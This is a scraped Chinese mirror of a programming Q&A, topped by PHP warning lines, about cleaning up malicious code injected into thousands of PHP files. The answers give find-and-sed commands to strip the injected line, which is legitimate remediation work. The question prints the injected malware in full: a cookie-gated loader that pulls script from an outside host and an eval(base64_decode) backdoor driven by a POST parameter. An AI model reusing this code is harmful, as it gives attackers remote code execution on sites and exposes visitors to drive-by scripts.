Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/ssh/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Linux 站点范围的查找和替换_Linux_Ssh_Grep_Replace - Fatal编程技术网

Linux 站点范围的查找和替换

Linux 站点范围的查找和替换,linux,ssh,grep,replace,Linux,Ssh,Grep,Replace,我必须解决我的站点中的代码注入问题,数千个文件受到影响。我的所有PHP文件中都注入了以下代码 global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>d

我必须解决我的站点中的代码注入问题,数千个文件受到影响。我的所有PHP文件中都注入了以下代码

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
正如@flesk所建议的那样

我在逃避什么错误吗

谢谢

试试类似的东西

find /www/docs/or/something -type f -name "*.php" | xargs sed -i.bckp 's/global \$sessdt_o; if\(!\$sessdt_o)and so on making sure to escape special regexp characters//g'

转义所有特殊字符和撇号。我建议在所有php文件上使用find之前,先手动修改sed表达式,直到一个php文件正确为止。

非常感谢您的回答。我也在解决这个问题,尽管如前所述,它必须简化以使其工作,但这一改动做得很好,因为它是一行:

 find /home/weby/zkouska -type f -name "*.php" | xargs sed -i.bckp 's/global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11";.*$//g'
希望这能帮助其他人解决这个讨厌的黑客问题

wahyaohni

看一看,我用脚本解决了同样的问题


Simpy将注入的代码放入模式文件,并在有问题的目录上运行脚本

我尝试过,但我正在逃避一些错误。我更新了上面的帖子(因为我不能在评论中发布这么多代码)。谢谢你不在Windows上,是吗?如果是这样,可能是命令太长。我会尝试逃避最后一个选择不起作用。转义'
sed-i.bckp的/global\$sessdt\u o.+$//g'
时不起作用?插入的行是否跨越文件中的多行?值得一提的是,不要忘记在以后删除*.bckp文件。请在回答中给出一些答案指示,而不仅仅是指向非英语页面的链接
 find /home/weby/zkouska -type f -name "*.php" | xargs sed -i.bckp 's/global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11";.*$//g'